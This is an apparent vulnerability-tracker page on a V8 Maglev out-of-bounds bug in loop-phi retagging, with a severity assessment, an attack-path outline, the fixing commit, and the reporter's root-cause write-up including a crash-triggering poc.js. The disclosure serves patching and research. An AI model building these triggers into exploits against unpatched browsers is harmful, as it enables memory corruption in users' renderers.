High patch-now ~ plausible CVSS 8.8 chrome OOB Exploitability: High (assessed) 📄 Reporter bug report 🔧 Commit mapped 🧬 Unsound representation selection and phi untagging in V8 optimizers

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds memory access in V8
DescriptionOut of bounds memory access in V8
ComponentV8
Sub-componentMaglev
Bug ClassOOB
ExploitabilityHigh (assessed by PatchGap · confirmed)
Maglev retags a loop-phi backedge before its predecessor exists in the tagging snapshot, producing an inconsistent representation node and downstream OOB access in default-tier JIT code reachable from web JS.
PatchGap's own analysis from the fixing commit, not a vendor rating. Absence of this line means not yet assessed, not "not exploitable".
Action tierpatch-now — corruption primitive, web-reachable in default config (plausible) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIPlausible
Reviewer notes: Skip-backedge fix matches. Claims that EnsurePhiTagged 'mutates' snapshot state and causes OOB 'in generated code' are not shown by diff or commit message. Regression test uses --no-maglev-loop-peeling; default-config trigger shape unverified.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker382190919
Fix commite4ecfc909687 (v8/v8) +41/-1
CWECWE-787, CWE-125 (Out-of-bounds write, Out-of-bounds read)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Credited303f06e3
Reported2024-12-04 · bounty $20000 (per vendor advisory)
Fix landed2024-12-05 (public git)
Disclosed2024-12-18
Patch gap13 days — fix public in source before the advisory

Background

`Phi`
an SSA node that merges values arriving from a block’s multiple predecessors, including the special loop phi whose last input comes from the loop’s backedge.
Loop phi
a Phi in a loop header whose inputs are the forward-edge values plus one backedge value that is only fully known after the loop body has been visited.
`phi_taggings_`
a SnapshotTable recording, per predecessor, the tagging (retagging) node already created for a given untagged Phi, so EnsurePhiTagged can reuse rather than re-emit tagging operations.
Retagging
inserting a conversion node to turn an untagged (e.g. Int32) Phi back into a tagged value when a use requires a tagged representation.

Root Cause Analysis

Verify before building a PoC

This analysis is consistent with the fixing commit but not fully provable from it: part of the vulnerable path lives in code the fix commit does not touch. Confirm the trigger and the sink against the source before relying on it for exploit development.
What the commit does not establish: Skip-backedge fix matches. Claims that EnsurePhiTagged 'mutates' snapshot state and causes OOB 'in generated code' are not shown by diff or commit message. Regression test uses --no-maglev-loop-peeling; default-config trigger shape unverified.

During Maglev’s phi representation selection, when a Phi is chosen to remain tagged, EnsurePhiInputsTagged iterates over every input and calls EnsurePhiTagged on each Phi input to guarantee it is tagged. For a loop phi, the final input is the backedge value, whose predecessor block has not yet been visited at the moment the loop header is processed, so it has no entry in the phi_taggings_ SnapshotTable. Calling EnsurePhiTagged on that backedge input therefore consults and mutates the snapshot state for a predecessor that does not yet exist in the table, producing an inconsistent tagging node and, downstream, an out-of-bounds memory access in the generated code.

The fix computes skip_backedge as 1 for loop phis and stops the loop one input early (phi->input_count() - skip_backedge), so the backedge input is never retagged prematurely; correctness is preserved because FixLoopPhisBackedge later tags the backedge input properly when the JumpLoop backedge is processed.

Key insight
The single mistake is treating a loop phi’s backedge input like any forward input and retagging it before the backedge predecessor is even visited; the fix simply excludes that last (backedge) input from the retagging loop and defers it to FixLoopPhisBackedge.

Attack Path

  1. Craft an untaggable phi loop Author JavaScript in which a variable becomes an untagged (Int32) loop Phi through an integer-only use inside a loop.
  2. Force a retagging Add a tagged use (e.g. calling a never-optimized function with the phi) so Maglev must retag the untagged Phi.
  3. Create a second loop with multiple forward edges Arrange a following loop header with two incoming forward edges so the prior retagging is not available in all predecessors, forcing a fresh retagging via EnsurePhiTagged.
  4. Trigger premature backedge tagging Optimize the function with Maglev so EnsurePhiInputsTagged processes the loop phi and retags its backedge input before the backedge block is visited, corrupting the tagging state.
  5. Reach OOB access Execute the optimized function so the malformed tagging produces code that performs an out-of-bounds memory access in the V8 process.

Impact Assessment

An attacker who can run scripted JavaScript in the renderer gains out-of-bounds memory access within the V8/renderer process, a primitive that can be built toward memory corruption and potential remote code execution in the sandboxed renderer. The precondition is that the crafted function is compiled by the Maglev optimizing tier (reachable from ordinary web content), with no special privileges required. It affects the process hosting the JavaScript engine (the renderer).

Changed Functions

FunctionChangeNotes
for
test/mjsunit/maglev/regress-382190919.js
modified
if
test/mjsunit/maglev/regress-382190919.js
modified

Files Changed

  • src/maglev/maglev-phi-representation-selector.cc
  • test/mjsunit/maglev/regress-382190919.js

Audit Directions

  • Loop-phi backedge handling
    Audit every pass that iterates phi->input_count() and mutates or reads per-predecessor state, checking whether loop phis’ backedge inputs are handled before the backedge block is visited.
  • SnapshotTable predecessor assumptions
    Review code that reads or writes phi_taggings_ or similar SnapshotTables, verifying that no lookup or update assumes an entry exists for a not-yet-visited predecessor.
  • Deferred fixups
    Look for representation or tagging work that relies on a later fixup (like FixLoopPhisBackedge) and confirm no earlier pass performs that work eagerly on the deferred input.
From e4ecfc909687511aeb20b88ce6ae2a7a1a80afe5 Mon Sep 17 00:00:00 2001
From: Darius Mercadier <[email protected]>
Date: Thu, 05 Dec 2024 16:03:33 +0100
Subject: [PATCH] [maglev] Avoid retagging loop phi backedges too early

When we decide that a loop phi should remain tagged, we call
EnsurePhiInputsTagged to ensures that it only has tagged inputs, which
calls EnsurePhiTagged, which might cause retagging of any untagged
phi it has as input.

In order to avoid retagging multiple times the same Phi, we have a
SnaphotTable (`phi_taggings_`), which records existing tagging in the
predecessors, and in which EnsurePhiTagged looks to avoid creating
new retagging nodes. For loop phis, the backedge predecessor won't
have an entry yet in this SnapshotTable (since we only visit loops
once, this has to be the first time we visit the header and thus
we can't have already visited the backedge block), and we should
thus not call EnsurePhiTagged on the backedge.

Note that the backedge input will anyways be properly tagged when
FixLoopPhisBackedge is later called from the JumpLoop backedge.

Fixed: chromium:382190919
Change-Id: I5452ab41b3b37de3232d387b2414c0f5650bbfa9
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6074772
Commit-Queue: Olivier Flückiger <[email protected]>
Auto-Submit: Darius Mercadier <[email protected]>
Reviewed-by: Olivier Flückiger <[email protected]>
Cr-Commit-Position: refs/heads/main@{#97578}
---

diff --git a/src/maglev/maglev-phi-representation-selector.cc b/src/maglev/maglev-phi-representation-selector.cc
index dc06151..a6d1059 100644
--- a/src/maglev/maglev-phi-representation-selector.cc
+++ b/src/maglev/maglev-phi-representation-selector.cc
@@ -334,7 +334,8 @@
   // should be tagged. We'll thus insert tagging operation on the untagged phi
   // inputs of {phi}.
 
-  for (int i = 0; i < phi->input_count(); i++) {
+  const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
+  for (int i = 0; i < phi->input_count() - skip_backedge; i++) {
     ValueNode* input = phi->input(i).node();
     if (Phi* phi_input = input->TryCast<Phi>()) {
       phi->change_input(
diff --git a/test/mjsunit/maglev/regress-382190919.js b/test/mjsunit/maglev/regress-382190919.js
new file mode 100644
index 0000000..773f442
--- /dev/null
+++ b/test/mjsunit/maglev/regress-382190919.js
@@ -0,0 +1,39 @@
+// Copyright 2024 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --no-maglev-loop-peeling
+
+function g() { }
+%NeverOptimizeFunction(g);
+
+function foo(b) {
+  let phi1 = 0;
+  for (let i = 0; i < 10; i++) {
+    phi1++; // Int32 use so that {phi1} gets untagged.
+  }
+
+  let phi2 = undefined; // Not untaggable.
+  let j = 0;
+
+  if (b) {
+    g(phi1); // Triggering retagging of {phi1}.
+  }
+
+  // Nothing between the `if` and the loop header, so that the loop header ends
+  // up having 2 incoming forward edges.
+
+  for (; j < 5; j++) {
+    phi2 = phi1; // New retagging of {phi1} since previous one is not available
+                 // in all predecessors.
+  }
+
+  return phi2;
+}
+
+%PrepareFunctionForOptimization(foo);
+foo(true);
+foo(false);
+
+%OptimizeMaglevOnNextCall(foo);
+foo(true);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/maglev/regress-382190919.js b/test/mjsunit/maglev/regress-382190919.js
new file mode 100644
index 0000000..773f442
--- /dev/null
+++ b/test/mjsunit/maglev/regress-382190919.js
@@ -0,0 +1,39 @@
+// Copyright 2024 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --no-maglev-loop-peeling
+
+function g() { }
+%NeverOptimizeFunction(g);
+
+function foo(b) {
+  let phi1 = 0;
+  for (let i = 0; i < 10; i++) {
+    phi1++; // Int32 use so that {phi1} gets untagged.
+  }
+
+  let phi2 = undefined; // Not untaggable.
+  let j = 0;
+
+  if (b) {
+    g(phi1); // Triggering retagging of {phi1}.
+  }
+
+  // Nothing between the `if` and the loop header, so that the loop header ends
+  // up having 2 incoming forward edges.
+
+  for (; j < 5; j++) {
+    phi2 = phi1; // New retagging of {phi1} since previous one is not available
+                 // in all predecessors.
+  }
+
+  return phi2;
+}
+
+%PrepareFunctionForOptimization(foo);
+foo(true);
+foo(false);
+
+%OptimizeMaglevOnNextCall(foo);
+foo(true);
Loading diff…

Original Bug Report

reported by [email protected]

Array out-of-bounds access vulnerability in the maglev phi untagging optimization.

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

1 Maglev Graph Build

During optimization, the Graph constructed by Maglev based on bytecode is roughly as follows, and I have annotated the corresponding JS code for each part in the graph.

After graph building
    ...
    Block b2 
     14: ReduceInterruptBudgetForLoop(13)  
         ↳ lazy @22 (4 live vars)
     16: Jump b3
      │  with gap moves:
      │    - n17:(x) → 19: φᵀ r0 (x)
      │    - n18:(x) → 20: φᵀ r3 (x)
      ▼
╭──►Block b3 peeled (effects:)    // for (let i = 0; i < 5; i++) {
│    19: φᵀ r0 (n17, n30) (compressed) → (x), 21 uses
│    20: φᵀ r3 (n18, n31) (compressed) → (x), 2 uses 
│    21: CheckedSmiUntag [n20:(x)] → (x), 3 uses
│    22: Int32Compare(LessThan) [n21:(x), n10:(x)] → (x), 0 uses 🪦 
│╭───23: BranchIfInt32Compare(LessThan) [n21:(x), n10:(x)] b4 b5
││    ↓
││  Block b4     // loop body
││   25: CheckedSmiUntag [n19:(x)] → (x), 1 uses 
││   26: Int32DecrementWithOverflow [n25:(x)] → (x), 2 uses // v3--
││   27: Int32IncrementWithOverflow [n21:(x)] → (x), 2 uses 
││   28: ReduceInterruptBudgetForLoop(13) 
││   30: Int32ToNumber [n26:(x)] → (x), 1 uses
││   31: Int32ToNumber [n27:(x)] → (x), 1 uses
╰──◄─29: JumpLoop b3
 │       with gap moves:
 │         - n30:(x) → 19: φᵀ r0 (x)
 │         - n31:(x) → 20: φᵀ r3 (x)
 │ 
 ╰─►Block b5
        // use_v3 = v3; 
     32: LoadTaggedFieldForContextSlot(0x14, compressed) [n3:(x)] → (x), 1 uses
     33: ThrowReferenceErrorIfHole [n32:(x)] 
     34: CheckSmi [n19:(x)]
     35: StoreTaggedFieldNoWriteBarrier(0x14) [n3:(x), n19:(x)] 
        // Reflect.apply();
     40: 🐢 CallKnownJSFunction(0x09b10025d6a9 <SharedFunctionInfo apply>) [n38:(x), n39:(x), n37:(x), n4:(x)] → (x), 0 uses, but required
╭────41: Jump b7
│        with gap moves:
│          - n36:(x) → 56: φᵀ r1 (x)
│  
│   Block b6 (exception handler)
│    42: φᵀₑ <accumulator> (compressed) → (x), 1 uses
│    ...
│    55: Jump b7
│     │  with gap moves:
│     │    - n36:(x) → 56: φᵀ r1 (x)
│     ▼
╰┬─►Block b7 (effects: ua)    // the body of the do-while loop
 │   56: φᵀ r1 (n36, n36, n19) (compressed) → (x), 1 uses     // This phi node represents v15 and v3
 │   58: 🐢 CallBuiltin(KeyedStoreIC_Megamorphic) [n57:(x), n56:(x), n18:(x), n3:(x)] → (x), 0 uses, but required 
 │   61: ReduceInterruptBudgetForLoop(7) 
 │   62: Jump b8
 │    │  with gap moves:
 │    │    - n63:(x) → 64: φᵀ r2 (x)
 │    ▼
 │╭►Block b8 peeled (effects:)    // empty loop: for (let i40 = 100; i40; --i40) {}
 ││  64: φᵀ r2 (n63, n70) (compressed) → (x), 3 uses 
 ││╭──65: BranchIfToBooleanTrue [n64:(x)] b9 b10
 │││   ↓
 │││ Block b9 
 │││  66: CheckedSmiUntag [n64:(x)] → (x), 1 uses
 │││  67: Int32DecrementWithOverflow [n66:(x)] → (x), 2 uses 
 │││  68: ReduceInterruptBudgetForLoop(7) 
 │╰─◄─69: JumpLoop b8
 │ │      with gap moves:
 │ │        - n70:(x) → 64: φᵀ r2 (x)
 │ │
 │ ╰►Block b10
 │╭───71: BranchIfReferenceEqual [n19:(x), n8:(x)] b12 b11    // Determine whether the do-while loop should continue
 ││    ↓
 ││  Block b11
 ││   72: ReduceInterruptBudgetForLoop(27) 
 ╰──◄─73: JumpLoop b7    // backedge for do-while loop
  │       with gap moves:
  │         - n19:(x) → 56: φᵀ r1 (x)
  │ 
  ╰─►Block b12
    ...

The above Maglev Graph can be represented as the following CFG.

    B3 <--+    // for (let i = 0; i < 5; i++) { ... }
    |\    |  
    | +-->B4 
    |
    V
    B5        B6 (exception handler)    // try-catch
    |         |
    +---------+
        |
        V
   +--> B7    // do { ... }while();
   |    |
   |    V
   |    B8<---+    // for (let i40 = 100; i40; --i40) { }
   |    |\    |
   |    | +->B9
   |    V  
   |    B10
   |    |
   |    V
   +----B11

We need to pay special attention to 56: φᵀ r1 (n36, n36, n19) node in B7, this special Phi has three input nodes.

2 Maglev Phi Untagging

MaglevPhiRepresentationSelector::PreProcessBasicBlock() is applied to every BasicBlock in the Maglev Graph, and the function is as follows.

BlockProcessResult MaglevPhiRepresentationSelector::PreProcessBasicBlock(
    BasicBlock* block) {
  // Previously processing current_block_, now preparing to handle block
  PreparePhiTaggings(current_block_, block);
  current_block_ = block;

  if (block->has_phi()) {  
    auto& phis = *block->phis();

    auto first_retry = phis.begin();
    auto end_retry = first_retry;
    bool any_change = false;

    for (auto it = phis.begin(); it != phis.end(); ++it) { 
      Phi* phi = *it;
      switch (ProcessPhi(phi)) {   // Optimizing the type of phi node
        ...
      }
    }
    ...
  }

  return BlockProcessResult::kContinue;
}

The crash occurs during the process of PreProcessBasicBlock() handling B7.

We need to pay attention to two functions within it: PreparePhiTaggings() and ProcessPhi().

3 Add elements to merge_values_

  1. MaglevPhiRepresentationSelector::PreparePhiTaggings()
void MaglevPhiRepresentationSelector::PreparePhiTaggings(
    BasicBlock* old_block, const BasicBlock* new_block) {
  ...
  // Clear the predecessor list
  predecessors_.clear();

  if (!new_block->is_merge_block()) {    // If it's not a merge block, this block only has one predecessor
    BasicBlock* pred = new_block->predecessor();    // Get the predecessor of this block
    predecessors_.push_back(pred->snapshot());    // Put it into predecessors_
  } else {    // If it's a merge block, the merge block must have multiple predecessors (such as back edge or merge edge of if)
    int skip_backedge = new_block->is_loop();    // Determine if it is a loop
    for (int i = 0; i < new_block->predecessor_count() - skip_backedge; i++) {
      BasicBlock* pred = new_block->predecessor_at(i);    // Get the predecessor of new_block
      predecessors_.push_back(pred->snapshot());    // Only two elements will be placed in predecessors_
    }
  }
  ...

  // Start a new snapshot based on predecessors_ 
  phi_taggings_.StartNewSnapshot(base::VectorOf(predecessors_), merge_taggings);
}

This function collects predecessor nodes other than LoopJump. B7 has three predecessor BasicBlocks: B5, B6, B11. Among them, B11 is LoopJump, which will be skipped, so the predecessors_ = {B5->snapshot(), B6->snapshot()} is passed into StartNewSnapshot() (later written as B5->snapshot() as S5, the rest is the same).

Debugging found that since B6 has no input nodes, S6 = root_snapshot_. The SnapshotTable at this time is as follows.

    root_snapshot_, S6, log: [0, 0)
            |
           /
          /
         /
       S5, log: [0, 1) 
  1. SnapshotTable::StartNewSnapshot() will call two functions for processing.
template <class Value, class KeyData = NoKeyData>
class SnapshotTable {
  void StartNewSnapshot(base::Vector<const Snapshot> predecessors,
                        const MergeFun& merge_fun,
                        const ChangeCallback& change_callback = {}) {
    StartNewSnapshot(predecessors, change_callback);
    MergePredecessors(predecessors, merge_fun, change_callback);
  }
}
  1. StartNewSnapshot() will find the nearest common ancestor node of {S5, S6}, which is root_snapshot_, and then create S7 with root_snapshot_ as the parent node. The SnapshotTable is as follows.
    root_snapshot_, S6, log: [0, 0)
            |        |
           /          \
          /            \
         /              \
       S5, log: [0, 1)   \
                        S7, log: [1, Invaild)
  1. MergePredecessors()
template <class Value, class KeyData>
template <class MergeFun, class ChangeCallback>
void SnapshotTable<Value, KeyData>::MergePredecessors(
    base::Vector<const Snapshot> predecessors, const MergeFun& merge_fun,
    const ChangeCallback& change_callback) {
  ...

  SnapshotData* common_ancestor = current_snapshot_->parent;    // root_snapshot_

  for (uint32_t i = 0; i < predecessor_count; ++i) {
    for (SnapshotData* predecessor = predecessors[i].data_; 
         predecessor != common_ancestor; predecessor = predecessor->parent) { 
      base::Vector<LogEntry> log_entries = LogEntries(predecessor);
      for (const LogEntry& entry : base::Reversed(log_entries)) {
        RecordMergeValue(entry.table_entry, entry.new_value, i,
                         predecessor_count);
      }
    }
  }
  ...
}

This method will traverse the LogEntry of SnapshotData between [predecessor, common_ancestor). In this case,

  • For S5, it will access [S5, root_snapshot_), which is the LogEntry in S5, and then call RecordMergeValue() for processing.
  • For S6, [S6, root_snapshot_) is empty.
    root_snapshot_, S6, log: [0, 0)    <== common_ancestor
            |        |
           /          \
          /            \
         /              \
       S5, log: [0, 1)   \
                        S7, log: [1, Invaild)    <== current_snapshot_
  1. RecordMergeValue()
template <class Value, class KeyData>
void SnapshotTable<Value, KeyData>::RecordMergeValue(
    TableEntry& entry,  
    const Value& value, 
    uint32_t predecessor_index,    // 0
    uint32_t predecessor_count    // 2
) {

  if (predecessor_index == entry.last_merged_predecessor) {
    ...
  }

  if (entry.merge_offset == kNoMergeOffset) { 
    // Reserve predecessor_count elements in merge_values_
    entry.merge_offset = static_cast<uint32_t>(merge_values_.size());
    merging_entries_.push_back(&entry);
    merge_values_.insert(merge_values_.end(), predecessor_count, entry.value);
  }

  merge_values_[entry.merge_offset + predecessor_index] = value;
  entry.last_merged_predecessor = predecessor_index;
}

Note: When RecordMergeValue() processes the LogEntry in S5, predecessor_index = 0, and predecessor_count = 2. Therefore, merge_values_.insert() will insert two slots in the array.

4 Access merge_values_

Then, it will enter the ProcessPhi() method to optimize phi. The crash occurs when ProcessPhi() handles 56: φᵀ r1 (n36, n36, n19) in B7.

By adding the --trace-maglev-phi-untagging option, you can see that before optimizing n56, its input phi node n19: phi will be optimized to the Int32 type by ProcessPhi().

Considering for untagging: n19
  + use_reprs  : {Int32}
  + input_reprs: {Int32}
  + intersection reprs: {Int32}
  => Untagging to Int32
    @ Input 0 (n17): Making Int32 instead of Smi
    @ Input 1 (n30): Bypassing conversion
...

Considering for untagging: n56
  + use_reprs  : {Tagged}
  + input_reprs: {Int32, Float64}
  => Leaving tagged [incompatible uses]
  1. ProcessPhi()
MaglevPhiRepresentationSelector::ProcessPhiResult
MaglevPhiRepresentationSelector::ProcessPhi(Phi* node) {
  ...
  ValueRepresentationSet input_reprs;   
  ...
  bool has_tagged_phi_input = false;   
  for (int i = 0; i < node->input_count(); i++) {  
    ValueNode* input = node->input(i).node();
    if (input->Is<SmiConstant>()) {   
      ...
    } else if (Constant* constant = input->TryCast<Constant>()) { 
      ...
    } else if (input->properties().is_conversion()) {  
      ...
    } else if (Phi* input_phi = input->TryCast<Phi>()) {   
      ...
    } else { 
      ...  
      // If the input is tagged, and it is not required to perform tagging operations to become tagged
      // Then we will not perform hosit operations, nor will we carry out untag optimizations
      input_reprs.RemoveAll();
      break;
    }
  }

  // Get the usage information of phi
  UseRepresentationSet use_reprs;
  if (node->is_loop_phi() && !node->get_same_loop_uses_repr_hints().empty()) {
    // {node} is a loop phi that has uses inside the loop; we will tag/untag
    // based on those uses, ignoring uses after the loop.
    use_reprs = node->get_same_loop_uses_repr_hints();
  } else {
    use_reprs = node->get_uses_repr_hints();
  }
  ...
  
  if (use_reprs.contains(UseRepresentation::kTagged) ||
      use_reprs.contains(UseRepresentation::kUint32) || use_reprs.empty()) {
    // For phi nodes used as tagged types, we will not perform untagged operations
    TRACE_UNTAGGING("  => Leaving tagged [incompatible uses]");
    EnsurePhiInputsTagged(node);
    return default_result;
  }
  ...
}

ProcessPhi() first calculates two sets of types:

  • input_reprs: The representation of the input nodes of phi. The input node n36 of n56 is of Int32 type, and n19 is also a phi node, but it has been optimized to Float64 type. So for n56, input_reprs={Int32, Float64}.
  • use_reprs: The value of phi will be used as what type. In this case, the value of n56 will only be used as tagged.

Since the value of n56 is used as a tagged type, ProcessPhi() gives up the optimization for this node, calls EnsurePhiInputsTagged() to ensure that all input nodes of n56 are tagged, and then exits.

  1. EnsurePhiInputsTagged()
void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) { 
  for (int i = 0; i < phi->input_count(); i++) {    // Traverse all inputs of Phi
    ValueNode* input = phi->input(i).node();    // Get the input node  
    if (Phi* phi_input = input->TryCast<Phi>()) {    // If it is a phi node
      phi->change_input(    // Perform tagging operation for this input phi node
          i, EnsurePhiTagged(phi_input, phi->predecessor_at(i),
                             NewNodePosition::kEndOfBlock, nullptr, i));
    } else {
      ...
    }
  }
}

EnsurePhiInputsTagged() traverses the phi nodes in the input nodes of n56, that is, n19, and calls EnsurePhiTagged() to ensure that the value of the phi node n19 is tagged.

Note: n19 is the third input node of n56, so the predecessor_index parameter passed into EnsurePhiTagged() is 2.

  1. EnsurePhiTagged()
ValueNode* MaglevPhiRepresentationSelector::EnsurePhiTagged(
    Phi* phi,     // n19
    BasicBlock* block, 
    NewNodePosition pos,
    const ProcessingState* state, 
    std::optional<int> predecessor_index    // 2
  ) {
  ...

  // Try to find an existing Tagged conversion for {phi} in {phi_taggings_}.
  if (phi->has_key()) {
    if (predecessor_index.has_value()) {    // 2
      if (ValueNode* tagging = phi_taggings_.GetPredecessorValue(    // <==
              phi->key(), predecessor_index.value())) {
        return tagging;
      }
    } else {
      if (ValueNode* tagging = phi_taggings_.Get(phi->key())) {
        return tagging;
      }
    }
  }
  ...
}

EnsurePhiTagged() first calls phi_taggings_.GetPredecessorValue() to query whether the untagged phi node n19 has been tagged before. If it has, it gets the node and directly returns it.

  1. GetPredecessorValue()
template <class Value, class KeyData = NoKeyData>
class SnapshotTable {
  ...
  const Value& GetPredecessorValue(Key key, int predecessor_index) {
    if (key.entry_->merge_offset == kNoMergeOffset)  return Get(key);
    return merge_values_[key.entry_->merge_offset + predecessor_index];
  }
}

Finally, we’ve arrived at the point where an array out-of-bounds error occurs. The SnapshotTable::RecordMergeValue() method inserts two elements into merge_values_. However, when querying, key.entry_->merge_offset=0, predecessor_index = 2, so it will access merge_values_[2], leading to an array out-of-bounds error.

This out-of-bounds range might lead to the construction of an incorrect Maglev Graph in the phi untagging, which is a complex vulnerability. I’m not sure if it can be exploited.

5 Commit Bisect

After analyzing the source code, I am confident that this vulnerability originates from commit: c3935610c0f95c93b48e5647ec59bf855df58c64.

This means that this vulnerability was introduced on 5/8/2023, at a time when the maglev compiler was not even enabled by default. I am surprised that this vulnerability has survived for so long.

VERSION

V8: from commit c3935610c0f95c93b48e5647ec59bf855df58c64 to the latest version.

REPRODUCTION CASE

poc.js:

let use_v3;
let obj = {};

function f1() {
  
    // Create a phi node and trigger the maglev untagged optimization
    let v3 = 5;
    for (let i = 0; i < 5; i++) {
        v3--;
    }
    use_v3 = v3;    // Prevent v3 from being deleted

    let v15 = 1.2;

    // The try statement and the catch statement each have a path that leads to do{...}while()
    try {
        Reflect.apply();    // Used to throw an exception
    } catch(e) {
    }

    // The BasicBlock corresponding to do{...}while() has three incoming edges: 
    // the try statement, the catch statement, and the loop's back edge
    do {
        obj[v15] = 1;   // tagged use of v3
        v15 = v3;
        for (let i40 = 100; i40; --i40) {
        }
    } while (v3);
}

%PrepareFunctionForOptimization(f1);
f1();
f1();
%OptimizeMaglevOnNextCall(f1);
f1();

Run the following with a debug-compiled version of V8:

./d8 \
    --allow-natives-syntax \
    ./poc.js

You will get the following crash:

#
# Fatal error in ../../src/zone/zone-containers.h, line 247
# Debug check failed: pos < size() (2 vs. 2).
#

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: 303f06e3

View on issue tracker